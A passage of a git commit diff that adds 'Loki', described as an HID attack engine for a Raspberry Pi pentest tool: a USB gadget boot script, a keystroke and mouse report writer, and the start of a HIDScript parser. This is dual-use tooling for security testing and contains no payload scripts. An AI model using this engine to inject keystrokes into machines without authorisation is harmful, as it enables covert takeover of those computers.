Add Loki and Sentinel utility classes for web API endpoints

- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads.
- Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications.
- Both classes include error handling and JSON response formatting.
This commit is contained in:
infinition
2026-03-14 22:33:10 +01:00
parent eb20b168a6
commit aac77a3e76
525 changed files with 29400 additions and 13136 deletions

375
loki/__init__.py Normal file
View File

@@ -0,0 +1,375 @@
"""
Loki — HID Attack Engine for Bjorn.
Manages USB HID gadget lifecycle, script execution, and job tracking.
Named after the Norse trickster god.
Loki is the 5th exclusive operation mode (alongside MANUAL, AUTO, AI, BIFROST).
When active, the orchestrator stops and the Pi acts as a keyboard/mouse
to the connected host via /dev/hidg0 (keyboard) and /dev/hidg1 (mouse).
HID GADGET STRATEGY:
The HID functions (keyboard + mouse) are created ONCE at boot time alongside
RNDIS networking by the usb-gadget.sh script. This avoids the impossible task
of hot-adding HID functions to a running composite gadget (UDC rebind fails
with EIO when RNDIS is active).
LokiEngine simply opens/closes the /dev/hidg0 and /dev/hidg1 device files.
If /dev/hidg0 doesn't exist, the user needs to run the setup once and reboot.
"""
import os
import time
import subprocess
import logging
from threading import Event
from logger import Logger
logger = Logger(name="loki", level=logging.DEBUG)
# USB HID report descriptors — EXACT byte-for-byte copies from P4wnP1_aloa
# Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70
#
# These are written to the gadget at boot time by usb-gadget.sh.
# Kept here for reference and for the install_hid_gadget() method.
#
_KBD_REPORT_DESC = bytes([
0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x05, 0x07,
0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00, 0x25, 0x01,
0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01,
0x75, 0x08, 0x81, 0x03, 0x95, 0x05, 0x75, 0x01,
0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02,
0x95, 0x01, 0x75, 0x03, 0x91, 0x03, 0x95, 0x06,
0x75, 0x08, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07,
0x19, 0x00, 0x29, 0x65, 0x81, 0x00, 0xc0,
]) # 63 bytes, report_length=8
_MOUSE_REPORT_DESC = bytes([
0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x09, 0x01,
0xa1, 0x00, 0x85, 0x01, 0x05, 0x09, 0x19, 0x01,
0x29, 0x03, 0x15, 0x00, 0x25, 0x01, 0x95, 0x03,
0x75, 0x01, 0x81, 0x02, 0x95, 0x01, 0x75, 0x05,
0x81, 0x03, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31,
0x15, 0x81, 0x25, 0x7f, 0x75, 0x08, 0x95, 0x02,
0x81, 0x06, 0x95, 0x02, 0x75, 0x08, 0x81, 0x01,
0xc0, 0xc0, 0x05, 0x01, 0x09, 0x02, 0xa1, 0x01,
0x09, 0x01, 0xa1, 0x00, 0x85, 0x02, 0x05, 0x09,
0x19, 0x01, 0x29, 0x03, 0x15, 0x00, 0x25, 0x01,
0x95, 0x03, 0x75, 0x01, 0x81, 0x02, 0x95, 0x01,
0x75, 0x05, 0x81, 0x01, 0x05, 0x01, 0x09, 0x30,
0x09, 0x31, 0x15, 0x00, 0x26, 0xff, 0x7f, 0x95,
0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0xc0,
]) # 111 bytes, report_length=6
# The boot script that creates RNDIS + HID functions at startup.
# This replaces /usr/local/bin/usb-gadget.sh
_USB_GADGET_SCRIPT = '''#!/bin/bash
# usb-gadget.sh — USB composite gadget: RNDIS networking + HID (keyboard/mouse)
# Auto-generated by Bjorn Loki. Do not edit manually.
modprobe libcomposite
cd /sys/kernel/config/usb_gadget/
mkdir -p g1
cd g1
echo 0x1d6b > idVendor
echo 0x0104 > idProduct
echo 0x0100 > bcdDevice
echo 0x0200 > bcdUSB
mkdir -p strings/0x409
echo "fedcba9876543210" > strings/0x409/serialnumber
echo "Raspberry Pi" > strings/0x409/manufacturer
echo "Pi Zero USB" > strings/0x409/product
mkdir -p configs/c.1/strings/0x409
echo "Config 1: RNDIS + HID" > configs/c.1/strings/0x409/configuration
echo 250 > configs/c.1/MaxPower
# ── RNDIS networking function ──
mkdir -p functions/rndis.usb0
[ -L configs/c.1/rndis.usb0 ] && rm configs/c.1/rndis.usb0
ln -s functions/rndis.usb0 configs/c.1/
# ── HID functions (keyboard + mouse) ──
# Use python3 to write binary report descriptors (bash printf can't handle null bytes)
python3 - <<'PYEOF'
import os, sys
G = "/sys/kernel/config/usb_gadget/g1"
# Keyboard: P4wnP1 exact boot keyboard descriptor (63 bytes)
KBD_DESC = bytes([
0x05,0x01,0x09,0x06,0xa1,0x01,0x05,0x07,
0x19,0xe0,0x29,0xe7,0x15,0x00,0x25,0x01,
0x75,0x01,0x95,0x08,0x81,0x02,0x95,0x01,
0x75,0x08,0x81,0x03,0x95,0x05,0x75,0x01,
0x05,0x08,0x19,0x01,0x29,0x05,0x91,0x02,
0x95,0x01,0x75,0x03,0x91,0x03,0x95,0x06,
0x75,0x08,0x15,0x00,0x25,0x65,0x05,0x07,
0x19,0x00,0x29,0x65,0x81,0x00,0xc0,
])
# Mouse: P4wnP1 dual-mode (relative + absolute) descriptor (111 bytes)
MOUSE_DESC = bytes([
0x05,0x01,0x09,0x02,0xa1,0x01,0x09,0x01,
0xa1,0x00,0x85,0x01,0x05,0x09,0x19,0x01,
0x29,0x03,0x15,0x00,0x25,0x01,0x95,0x03,
0x75,0x01,0x81,0x02,0x95,0x01,0x75,0x05,
0x81,0x03,0x05,0x01,0x09,0x30,0x09,0x31,
0x15,0x81,0x25,0x7f,0x75,0x08,0x95,0x02,
0x81,0x06,0x95,0x02,0x75,0x08,0x81,0x01,
0xc0,0xc0,0x05,0x01,0x09,0x02,0xa1,0x01,
0x09,0x01,0xa1,0x00,0x85,0x02,0x05,0x09,
0x19,0x01,0x29,0x03,0x15,0x00,0x25,0x01,
0x95,0x03,0x75,0x01,0x81,0x02,0x95,0x01,
0x75,0x05,0x81,0x01,0x05,0x01,0x09,0x30,
0x09,0x31,0x15,0x00,0x26,0xff,0x7f,0x95,
0x02,0x75,0x10,0x81,0x02,0xc0,0xc0,
])
def w(path, content):
with open(path, "w") as f:
f.write(content)
def wb(path, data):
with open(path, "wb") as f:
f.write(data)
try:
# Keyboard (hid.usb0)
kbd = G + "/functions/hid.usb0"
os.makedirs(kbd, exist_ok=True)
w(kbd + "/protocol", "1")
w(kbd + "/subclass", "1")
w(kbd + "/report_length", "8")
wb(kbd + "/report_desc", KBD_DESC)
# Mouse (hid.usb1)
mouse = G + "/functions/hid.usb1"
os.makedirs(mouse, exist_ok=True)
w(mouse + "/protocol", "2")
w(mouse + "/subclass", "1")
w(mouse + "/report_length", "6")
wb(mouse + "/report_desc", MOUSE_DESC)
print(f"HID functions created: keyboard ({len(KBD_DESC)}B) + mouse ({len(MOUSE_DESC)}B)")
except Exception as e:
print(f"WARNING: HID setup failed (non-fatal): {e}", file=sys.stderr)
sys.exit(0) # Don't block RNDIS setup
PYEOF
# Symlink HID into config (non-fatal)
for func in hid.usb0 hid.usb1; do
[ -L "configs/c.1/$func" ] && rm "configs/c.1/$func"
if [ -d "functions/$func" ]; then
ln -s "functions/$func" "configs/c.1/" 2>/dev/null || true
fi
done
# ── Bind UDC ──
max_retries=10
retry_count=0
while ! ls /sys/class/udc > UDC 2>/dev/null; do
if [ $retry_count -ge $max_retries ]; then
echo "Error: Device or resource busy after $max_retries attempts."
exit 1
fi
retry_count=$((retry_count + 1))
sleep 1
done
UDC_NAME=$(ls /sys/class/udc)
echo "$UDC_NAME" > UDC
echo "Assigned UDC: $UDC_NAME (RNDIS + HID keyboard + HID mouse)"
# ── Configure network ──
if ! ip addr show usb0 2>/dev/null | grep -q "172.20.2.1"; then
ifconfig usb0 172.20.2.1 netmask 255.255.255.0 2>/dev/null || true
echo "Configured usb0 with IP 172.20.2.1"
else
echo "Interface usb0 already configured."
fi
'''
_GADGET_SCRIPT_PATH = "/usr/local/bin/usb-gadget.sh"
class LokiEngine:
"""HID attack engine — manages script execution and job tracking.
The USB HID gadget (keyboard + mouse) is set up at boot time by
usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self._stop_event = Event()
self._running = False
self._gadget_ready = False
# Sub-components (lazy init)
self._hid = None
self._jobs = None
# ── Properties ─────────────────────────────────────────────
@property
def hid_controller(self):
if self._hid is None:
from loki.hid_controller import HIDController
self._hid = HIDController()
return self._hid
@property
def job_manager(self):
if self._jobs is None:
from loki.jobs import LokiJobManager
self._jobs = LokiJobManager(self)
return self._jobs
# ── Start / Stop ───────────────────────────────────────────
def start(self):
"""Start Loki engine: open HID devices, apply config."""
if self._running:
logger.warning("Loki already running")
return
logger.info("Starting Loki engine...")
self._stop_event.clear()
# Check if HID gadget is available (set up at boot)
if not os.path.exists("/dev/hidg0"):
logger.error(
"/dev/hidg0 not found — HID gadget not configured at boot. "
"Run install_hid_gadget() from the Loki API and reboot."
)
self._gadget_ready = False
return
self._gadget_ready = True
# Open HID devices
try:
self.hid_controller.open()
except Exception as e:
logger.error("HID device open failed: %s", e)
self._gadget_ready = False
return
# Apply config
layout = self.shared_data.config.get("loki_default_layout", "us")
self.hid_controller.set_layout(layout)
speed_min = self.shared_data.config.get("loki_typing_speed_min", 0)
speed_max = self.shared_data.config.get("loki_typing_speed_max", 0)
self.hid_controller.set_typing_speed(speed_min, speed_max)
self._running = True
logger.info("Loki engine started (HID devices open)")
# Auto-run script if configured
auto_run = self.shared_data.config.get("loki_auto_run", "")
if auto_run:
self._auto_run_script(auto_run)
def stop(self):
"""Stop Loki engine: cancel jobs, close devices."""
if not self._running:
return
logger.info("Stopping Loki engine...")
self._stop_event.set()
# Cancel all running jobs
if self._jobs:
for job in self._jobs.get_all_jobs():
if job["status"] == "running":
self._jobs.cancel_job(job["id"])
# Close HID devices (don't remove gadget — it persists)
if self._hid:
self._hid.close()
self._running = False
self._gadget_ready = False
logger.info("Loki engine stopped")
def get_status(self) -> dict:
"""Return current engine status for the API."""
hidg0_exists = os.path.exists("/dev/hidg0")
return {
"enabled": self.shared_data.config.get("loki_enabled", False),
"running": self._running,
"gadget_ready": self._gadget_ready,
"gadget_installed": hidg0_exists,
"layout": self.shared_data.config.get("loki_default_layout", "us"),
"jobs_running": self.job_manager.running_count if self._jobs else 0,
"jobs_total": len(self._jobs.get_all_jobs()) if self._jobs else 0,
}
# ── Job API (delegated to JobManager) ──────────────────────
def submit_job(self, script_name: str, script_content: str) -> str:
"""Submit a HIDScript for execution. Returns job_id."""
if not self._running:
raise RuntimeError("Loki engine not running")
if not self._gadget_ready:
raise RuntimeError("HID gadget not ready")
return self.job_manager.create_job(script_name, script_content)
def cancel_job(self, job_id: str) -> bool:
return self.job_manager.cancel_job(job_id)
def get_jobs(self) -> list:
return self.job_manager.get_all_jobs()
# ── HID Gadget Installation ────────────────────────────────
@staticmethod
def is_gadget_installed() -> bool:
"""Check if the HID gadget is available."""
return os.path.exists("/dev/hidg0")
@staticmethod
def install_hid_gadget() -> dict:
"""Install/update the USB gadget boot script to include HID functions.
Writes the new usb-gadget.sh that creates RNDIS + HID at boot.
Returns status dict. Requires a reboot to take effect.
"""
try:
# Write the new gadget script
with open(_GADGET_SCRIPT_PATH, "w") as f:
f.write(_USB_GADGET_SCRIPT)
os.chmod(_GADGET_SCRIPT_PATH, 0o755)
logger.info("USB gadget script updated at %s", _GADGET_SCRIPT_PATH)
return {
"success": True,
"message": "USB gadget script updated with HID support. Reboot required.",
"reboot_required": True,
}
except Exception as e:
logger.error("Failed to install HID gadget script: %s", e)
return {
"success": False,
"message": f"Installation failed: {e}",
"reboot_required": False,
}
# ── Auto-run ───────────────────────────────────────────────
def _auto_run_script(self, script_name: str):
"""Auto-run a script by name from the database."""
try:
db = self.shared_data.db
row = db.query_one(
"SELECT content FROM loki_scripts WHERE name = ?", (script_name,)
)
if row and row.get("content"):
self.submit_job(script_name, row["content"])
logger.info("Auto-running script: %s", script_name)
except Exception as e:
logger.error("Auto-run failed for '%s': %s", script_name, e)

408
loki/hid_controller.py Normal file
View File

@@ -0,0 +1,408 @@
"""
Low-level USB HID controller for Loki.
Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1.
"""
import os
import struct
import time
import random
import logging
import select
from threading import Event
from logger import Logger
from loki.layouts import load as load_layout
logger = Logger(name="loki.hid_controller", level=logging.DEBUG)
# ── HID Keycodes ──────────────────────────────────────────────
# USB HID Usage Tables — Keyboard/Keypad Page (0x07)
KEY_NONE = 0x00
KEY_A = 0x04
KEY_B = 0x05
KEY_C = 0x06
KEY_D = 0x07
KEY_E = 0x08
KEY_F = 0x09
KEY_G = 0x0A
KEY_H = 0x0B
KEY_I = 0x0C
KEY_J = 0x0D
KEY_K = 0x0E
KEY_L = 0x0F
KEY_M = 0x10
KEY_N = 0x11
KEY_O = 0x12
KEY_P = 0x13
KEY_Q = 0x14
KEY_R = 0x15
KEY_S = 0x16
KEY_T = 0x17
KEY_U = 0x18
KEY_V = 0x19
KEY_W = 0x1A
KEY_X = 0x1B
KEY_Y = 0x1C
KEY_Z = 0x1D
KEY_1 = 0x1E
KEY_2 = 0x1F
KEY_3 = 0x20
KEY_4 = 0x21
KEY_5 = 0x22
KEY_6 = 0x23
KEY_7 = 0x24
KEY_8 = 0x25
KEY_9 = 0x26
KEY_0 = 0x27
KEY_ENTER = 0x28
KEY_ESC = 0x29
KEY_BACKSPACE = 0x2A
KEY_TAB = 0x2B
KEY_SPACE = 0x2C
KEY_MINUS = 0x2D
KEY_EQUAL = 0x2E
KEY_LEFTBRACE = 0x2F
KEY_RIGHTBRACE = 0x30
KEY_BACKSLASH = 0x31
KEY_SEMICOLON = 0x33
KEY_APOSTROPHE = 0x34
KEY_GRAVE = 0x35
KEY_COMMA = 0x36
KEY_DOT = 0x37
KEY_SLASH = 0x38
KEY_CAPSLOCK = 0x39
KEY_F1 = 0x3A
KEY_F2 = 0x3B
KEY_F3 = 0x3C
KEY_F4 = 0x3D
KEY_F5 = 0x3E
KEY_F6 = 0x3F
KEY_F7 = 0x40
KEY_F8 = 0x41
KEY_F9 = 0x42
KEY_F10 = 0x43
KEY_F11 = 0x44
KEY_F12 = 0x45
KEY_PRINTSCREEN = 0x46
KEY_SCROLLLOCK = 0x47
KEY_PAUSE = 0x48
KEY_INSERT = 0x49
KEY_HOME = 0x4A
KEY_PAGEUP = 0x4B
KEY_DELETE = 0x4C
KEY_END = 0x4D
KEY_PAGEDOWN = 0x4E
KEY_RIGHT = 0x4F
KEY_LEFT = 0x50
KEY_DOWN = 0x51
KEY_UP = 0x52
KEY_NUMLOCK = 0x53
# ── Modifier bitmasks ─────────────────────────────────────────
MOD_NONE = 0x00
MOD_LEFT_CONTROL = 0x01
MOD_LEFT_SHIFT = 0x02
MOD_LEFT_ALT = 0x04
MOD_LEFT_GUI = 0x08
MOD_RIGHT_CONTROL = 0x10
MOD_RIGHT_SHIFT = 0x20
MOD_RIGHT_ALT = 0x40
MOD_RIGHT_GUI = 0x80
# ── Combo name → (modifier_mask, keycode) ─────────────────────
_COMBO_MAP = {
# Modifiers (used standalone or in combos)
"CTRL": (MOD_LEFT_CONTROL, KEY_NONE),
"CONTROL": (MOD_LEFT_CONTROL, KEY_NONE),
"SHIFT": (MOD_LEFT_SHIFT, KEY_NONE),
"ALT": (MOD_LEFT_ALT, KEY_NONE),
"GUI": (MOD_LEFT_GUI, KEY_NONE),
"WIN": (MOD_LEFT_GUI, KEY_NONE),
"WINDOWS": (MOD_LEFT_GUI, KEY_NONE),
"COMMAND": (MOD_LEFT_GUI, KEY_NONE),
"META": (MOD_LEFT_GUI, KEY_NONE),
"RCTRL": (MOD_RIGHT_CONTROL, KEY_NONE),
"RSHIFT": (MOD_RIGHT_SHIFT, KEY_NONE),
"RALT": (MOD_RIGHT_ALT, KEY_NONE),
"RGUI": (MOD_RIGHT_GUI, KEY_NONE),
# Special keys
"ENTER": (MOD_NONE, KEY_ENTER),
"RETURN": (MOD_NONE, KEY_ENTER),
"ESC": (MOD_NONE, KEY_ESC),
"ESCAPE": (MOD_NONE, KEY_ESC),
"BACKSPACE": (MOD_NONE, KEY_BACKSPACE),
"TAB": (MOD_NONE, KEY_TAB),
"SPACE": (MOD_NONE, KEY_SPACE),
"CAPSLOCK": (MOD_NONE, KEY_CAPSLOCK),
"DELETE": (MOD_NONE, KEY_DELETE),
"INSERT": (MOD_NONE, KEY_INSERT),
"HOME": (MOD_NONE, KEY_HOME),
"END": (MOD_NONE, KEY_END),
"PAGEUP": (MOD_NONE, KEY_PAGEUP),
"PAGEDOWN": (MOD_NONE, KEY_PAGEDOWN),
"UP": (MOD_NONE, KEY_UP),
"DOWN": (MOD_NONE, KEY_DOWN),
"LEFT": (MOD_NONE, KEY_LEFT),
"RIGHT": (MOD_NONE, KEY_RIGHT),
"PRINTSCREEN": (MOD_NONE, KEY_PRINTSCREEN),
"SCROLLLOCK": (MOD_NONE, KEY_SCROLLLOCK),
"PAUSE": (MOD_NONE, KEY_PAUSE),
"NUMLOCK": (MOD_NONE, KEY_NUMLOCK),
# F keys
"F1": (MOD_NONE, KEY_F1), "F2": (MOD_NONE, KEY_F2),
"F3": (MOD_NONE, KEY_F3), "F4": (MOD_NONE, KEY_F4),
"F5": (MOD_NONE, KEY_F5), "F6": (MOD_NONE, KEY_F6),
"F7": (MOD_NONE, KEY_F7), "F8": (MOD_NONE, KEY_F8),
"F9": (MOD_NONE, KEY_F9), "F10": (MOD_NONE, KEY_F10),
"F11": (MOD_NONE, KEY_F11), "F12": (MOD_NONE, KEY_F12),
# Letters (for combo usage like "GUI r")
"A": (MOD_NONE, KEY_A), "B": (MOD_NONE, KEY_B),
"C": (MOD_NONE, KEY_C), "D": (MOD_NONE, KEY_D),
"E": (MOD_NONE, KEY_E), "F": (MOD_NONE, KEY_F),
"G": (MOD_NONE, KEY_G), "H": (MOD_NONE, KEY_H),
"I": (MOD_NONE, KEY_I), "J": (MOD_NONE, KEY_J),
"K": (MOD_NONE, KEY_K), "L": (MOD_NONE, KEY_L),
"M": (MOD_NONE, KEY_M), "N": (MOD_NONE, KEY_N),
"O": (MOD_NONE, KEY_O), "P": (MOD_NONE, KEY_P),
"Q": (MOD_NONE, KEY_Q), "R": (MOD_NONE, KEY_R),
"S": (MOD_NONE, KEY_S), "T": (MOD_NONE, KEY_T),
"U": (MOD_NONE, KEY_U), "V": (MOD_NONE, KEY_V),
"W": (MOD_NONE, KEY_W), "X": (MOD_NONE, KEY_X),
"Y": (MOD_NONE, KEY_Y), "Z": (MOD_NONE, KEY_Z),
}
# ── LED bitmasks (host → device output report) ────────────────
LED_NUM = 0x01
LED_CAPS = 0x02
LED_SCROLL = 0x04
LED_ANY = 0xFF
class HIDController:
"""Low-level USB HID report writer."""
def __init__(self):
self._kbd_fd = None # /dev/hidg0
self._mouse_fd = None # /dev/hidg1
self._layout = load_layout("us")
self._speed_min = 0 # ms between keystrokes (0 = instant)
self._speed_max = 0
# ── Lifecycle ──────────────────────────────────────────────
def open(self):
"""Open HID gadget device files."""
try:
self._kbd_fd = os.open("/dev/hidg0", os.O_RDWR | os.O_NONBLOCK)
logger.info("Opened /dev/hidg0 (keyboard)")
except OSError as e:
logger.error("Cannot open /dev/hidg0: %s", e)
raise
try:
self._mouse_fd = os.open("/dev/hidg1", os.O_RDWR | os.O_NONBLOCK)
logger.info("Opened /dev/hidg1 (mouse)")
except OSError as e:
logger.warning("Cannot open /dev/hidg1 (mouse disabled): %s", e)
self._mouse_fd = None
def close(self):
"""Close HID device files."""
self.release_all()
if self._kbd_fd is not None:
try:
os.close(self._kbd_fd)
except OSError:
pass
self._kbd_fd = None
if self._mouse_fd is not None:
try:
os.close(self._mouse_fd)
except OSError:
pass
self._mouse_fd = None
logger.debug("HID devices closed")
@property
def is_open(self) -> bool:
return self._kbd_fd is not None
# ── Layout ─────────────────────────────────────────────────
def set_layout(self, name: str):
"""Switch keyboard layout."""
self._layout = load_layout(name)
logger.debug("Layout switched to '%s'", name)
def set_typing_speed(self, min_ms: int, max_ms: int):
"""Set random delay range between keystrokes (ms)."""
self._speed_min = max(0, min_ms)
self._speed_max = max(self._speed_min, max_ms)
# ── Keyboard Reports ───────────────────────────────────────
def send_key_report(self, modifiers: int, keys: list):
"""Send an 8-byte keyboard report: [mod, 0x00, key1..key6]."""
if self._kbd_fd is None:
return
report = bytearray(8)
report[0] = modifiers & 0xFF
for i, k in enumerate(keys[:6]):
report[2 + i] = k & 0xFF
os.write(self._kbd_fd, bytes(report))
def release_all(self):
"""Send empty keyboard + mouse reports (release everything)."""
if self._kbd_fd is not None:
try:
os.write(self._kbd_fd, bytes(8))
except OSError:
pass
if self._mouse_fd is not None:
try:
os.write(self._mouse_fd, bytes([0x01, 0, 0, 0, 0, 0]))
except OSError:
pass
def press_combo(self, combo_str: str):
"""Press a key combination like 'GUI r', 'CTRL ALT DELETE'.
Keys are separated by spaces. All are pressed simultaneously, then released.
"""
parts = combo_str.strip().split()
mod_mask = 0
keycodes = []
for part in parts:
upper = part.upper()
if upper in _COMBO_MAP:
m, k = _COMBO_MAP[upper]
mod_mask |= m
if k != KEY_NONE:
keycodes.append(k)
else:
# Try single char via layout
if len(part) == 1 and part in self._layout:
char_mod, char_key = self._layout[part]
mod_mask |= char_mod
keycodes.append(char_key)
else:
logger.warning("Unknown combo key: '%s'", part)
if keycodes or mod_mask:
self.send_key_report(mod_mask, keycodes)
time.sleep(0.02)
self.send_key_report(0, []) # release
def type_string(self, text: str, stop_event: Event = None):
"""Type a string character by character using the current layout."""
for ch in text:
if stop_event and stop_event.is_set():
return
if ch in self._layout:
mod, key = self._layout[ch]
self.send_key_report(mod, [key])
time.sleep(0.01)
self.send_key_report(0, []) # release
else:
logger.warning("Unmapped char: %r", ch)
continue
# Inter-keystroke delay
if self._speed_max > 0:
delay = random.randint(self._speed_min, self._speed_max) / 1000.0
if stop_event:
stop_event.wait(delay)
else:
time.sleep(delay)
else:
time.sleep(0.005) # tiny default gap for reliability
# ── LED State ──────────────────────────────────────────────
def read_led_state(self) -> int:
"""Read current LED state from host (non-blocking). Returns bitmask."""
if self._kbd_fd is None:
return 0
try:
r, _, _ = select.select([self._kbd_fd], [], [], 0)
if r:
data = os.read(self._kbd_fd, 1)
if data:
return data[0]
except OSError:
pass
return 0
def wait_led(self, mask: int, stop_event: Event = None, timeout: float = 0):
"""Block until host LED state matches mask.
mask=LED_ANY matches any LED change.
Returns True if matched, False if stopped/timed out.
"""
start = time.monotonic()
initial = self.read_led_state()
while True:
if stop_event and stop_event.is_set():
return False
if timeout > 0 and (time.monotonic() - start) > timeout:
return False
current = self.read_led_state()
if mask == LED_ANY:
if current != initial:
return True
else:
if current & mask:
return True
time.sleep(0.05)
def wait_led_repeat(self, mask: int, count: int, stop_event: Event = None):
"""Wait for LED to toggle count times."""
for _ in range(count):
if not self.wait_led(mask, stop_event):
return False
return True
# ── Mouse Reports ──────────────────────────────────────────
# P4wnP1 mouse descriptor uses Report ID 1 for relative mode.
# Report format: [0x01, buttons, X, Y, 0x00, 0x00] = 6 bytes
def send_mouse_report(self, buttons: int, x: int, y: int, wheel: int = 0):
"""Send a 6-byte relative mouse report with Report ID 1.
Format: [report_id=1, buttons, X, Y, pad, pad]
"""
if self._mouse_fd is None:
return
# Clamp to signed byte range
x = max(-127, min(127, x))
y = max(-127, min(127, y))
report = struct.pack("BBbbBB", 0x01, buttons & 0xFF, x, y, 0, 0)
os.write(self._mouse_fd, report)
def mouse_move(self, x: int, y: int):
"""Move mouse by (x, y) relative pixels."""
self.send_mouse_report(0, x, y)
def mouse_move_stepped(self, x: int, y: int, step: int = 10):
"""Move mouse in small increments for better tracking."""
while x != 0 or y != 0:
dx = max(-step, min(step, x))
dy = max(-step, min(step, y))
self.send_mouse_report(0, dx, dy)
x -= dx
y -= dy
time.sleep(0.005)
def mouse_click(self, button: int = 1):
"""Click a mouse button (1=left, 2=right, 4=middle)."""
self.send_mouse_report(button, 0, 0)
time.sleep(0.05)
self.send_mouse_report(0, 0, 0)
def mouse_double_click(self, button: int = 1):
"""Double-click a mouse button."""
self.mouse_click(button)
time.sleep(0.05)
self.mouse_click(button)

748
loki/hidscript.py Normal file
View File

@@ -0,0 +1,748 @@
"""
HIDScript parser and executor for Loki.
Supports P4wnP1-compatible HIDScript syntax:
- Function calls: type("hello"); press("GUI r"); delay(500);
- var declarations: var x = 1;
- for / while loops
- if / else conditionals
- // and /* */ comments
- String concatenation with +
- Basic arithmetic (+, -, *, /)
- console.log() for job output
Zero external dependencies — pure Python DSL parser.
"""
import re
import time
import logging
from threading import Event
from logger import Logger
logger = Logger(name="loki.hidscript", level=logging.DEBUG)
# ── LED constants (available in scripts) ──────────────────────
NUM = 0x01
CAPS = 0x02
SCROLL = 0x04
ANY = 0xFF
# ── Mouse button constants ────────────────────────────────────
BT1 = 1 # Left
BT2 = 2 # Right
BT3 = 4 # Middle
BTNONE = 0
class HIDScriptError(Exception):
"""Error during HIDScript execution."""
def __init__(self, message, line=None):
self.line = line
super().__init__(f"Line {line}: {message}" if line else message)
class HIDScriptParser:
"""Parse and execute P4wnP1-compatible HIDScript."""
def __init__(self, hid_controller, layout="us"):
self.hid = hid_controller
self._default_layout = layout
self._output = [] # console.log output
def execute(self, source: str, stop_event: Event = None, job_id: str = ""):
"""Parse and execute a HIDScript source string.
Returns list of console.log output lines.
"""
self._output = []
self._stop = stop_event or Event()
self._vars = {
# Built-in constants
"NUM": NUM, "CAPS": CAPS, "SCROLL": SCROLL, "ANY": ANY,
"BT1": BT1, "BT2": BT2, "BT3": BT3, "BTNONE": BTNONE,
"true": True, "false": False, "null": None,
}
# Strip comments
source = self._strip_comments(source)
# Tokenize into statements
stmts = self._parse_block(source)
# Execute
self._exec_stmts(stmts)
return self._output
# ── Comment stripping ──────────────────────────────────────
def _strip_comments(self, source: str) -> str:
"""Remove // and /* */ comments."""
# Block comments first
source = re.sub(r'/\*.*?\*/', '', source, flags=re.DOTALL)
# Line comments
source = re.sub(r'//[^\n]*', '', source)
return source
# ── Parser ─────────────────────────────────────────────────
def _parse_block(self, source: str) -> list:
"""Parse source into a list of statement dicts."""
stmts = []
pos = 0
source = source.strip()
while pos < len(source):
if self._stop.is_set():
break
pos = self._skip_ws(source, pos)
if pos >= len(source):
break
# var declaration
if source[pos:pos+4] == 'var ' or source[pos:pos+4] == 'let ':
end = source.find(';', pos)
if end == -1:
end = len(source)
decl = source[pos+4:end].strip()
eq = decl.find('=')
if eq >= 0:
name = decl[:eq].strip()
value_expr = decl[eq+1:].strip()
stmts.append({"type": "assign", "name": name, "expr": value_expr})
else:
stmts.append({"type": "assign", "name": decl.strip(), "expr": "null"})
pos = end + 1
# for loop
elif source[pos:pos+4] == 'for ' or source[pos:pos+4] == 'for(':
stmt, pos = self._parse_for(source, pos)
stmts.append(stmt)
# while loop
elif source[pos:pos+6] == 'while ' or source[pos:pos+6] == 'while(':
stmt, pos = self._parse_while(source, pos)
stmts.append(stmt)
# if statement
elif source[pos:pos+3] == 'if ' or source[pos:pos+3] == 'if(':
stmt, pos = self._parse_if(source, pos)
stmts.append(stmt)
# Block: { ... }
elif source[pos] == '{':
end = self._find_matching_brace(source, pos)
inner = source[pos+1:end]
stmts.extend(self._parse_block(inner))
pos = end + 1
# Expression statement (function call or assignment)
else:
end = source.find(';', pos)
if end == -1:
end = len(source)
expr = source[pos:end].strip()
if expr:
# Check for assignment: name = expr
m = re.match(r'^([a-zA-Z_]\w*)\s*=\s*(.+)$', expr)
if m and not expr.startswith('=='):
stmts.append({"type": "assign", "name": m.group(1), "expr": m.group(2)})
else:
stmts.append({"type": "expr", "expr": expr})
pos = end + 1
return stmts
def _parse_for(self, source, pos):
"""Parse: for (init; cond; incr) { body }"""
# Find parenthesized header
p_start = source.index('(', pos)
p_end = self._find_matching_paren(source, p_start)
header = source[p_start+1:p_end]
parts = header.split(';')
if len(parts) != 3:
raise HIDScriptError("Invalid for loop header")
init_expr = parts[0].strip()
cond_expr = parts[1].strip()
incr_expr = parts[2].strip()
# Remove var/let prefix from init
for prefix in ('var ', 'let '):
if init_expr.startswith(prefix):
init_expr = init_expr[len(prefix):]
# Find body
body_start = self._skip_ws(source, p_end + 1)
if body_start < len(source) and source[body_start] == '{':
body_end = self._find_matching_brace(source, body_start)
body = source[body_start+1:body_end]
next_pos = body_end + 1
else:
semi = source.find(';', body_start)
if semi == -1:
semi = len(source)
body = source[body_start:semi]
next_pos = semi + 1
return {
"type": "for",
"init": init_expr,
"cond": cond_expr,
"incr": incr_expr,
"body": body,
}, next_pos
def _parse_while(self, source, pos):
"""Parse: while (cond) { body }"""
p_start = source.index('(', pos)
p_end = self._find_matching_paren(source, p_start)
cond = source[p_start+1:p_end].strip()
body_start = self._skip_ws(source, p_end + 1)
if body_start < len(source) and source[body_start] == '{':
body_end = self._find_matching_brace(source, body_start)
body = source[body_start+1:body_end]
next_pos = body_end + 1
else:
semi = source.find(';', body_start)
if semi == -1:
semi = len(source)
body = source[body_start:semi]
next_pos = semi + 1
return {"type": "while", "cond": cond, "body": body}, next_pos
def _parse_if(self, source, pos):
"""Parse: if (cond) { body } [else { body }]"""
p_start = source.index('(', pos)
p_end = self._find_matching_paren(source, p_start)
cond = source[p_start+1:p_end].strip()
body_start = self._skip_ws(source, p_end + 1)
if body_start < len(source) and source[body_start] == '{':
body_end = self._find_matching_brace(source, body_start)
body = source[body_start+1:body_end]
next_pos = body_end + 1
else:
semi = source.find(';', body_start)
if semi == -1:
semi = len(source)
body = source[body_start:semi]
